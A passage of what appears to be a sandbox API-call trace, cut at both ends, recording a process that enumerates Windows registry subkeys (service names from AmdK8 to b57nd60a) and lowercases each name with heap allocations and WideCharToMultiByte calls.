returned 1 [0218.613] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0218.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0218.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.613] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0218.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0218.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.613] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0218.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0218.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.614] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0218.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0218.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.614] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0218.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0218.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.614] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0218.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0218.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.615] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0218.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0218.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.615] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0218.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0218.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.615] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0218.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0218.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.616] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0218.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0218.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.616] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0218.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0218.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.616] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0218.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0218.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.616] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.617] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1d60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.617] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.617] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0218.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.618] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0218.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0218.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f16e8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0218.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.618] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0218.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0218.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.618] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0218.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0218.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.618] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0218.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0218.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.619] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0218.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, 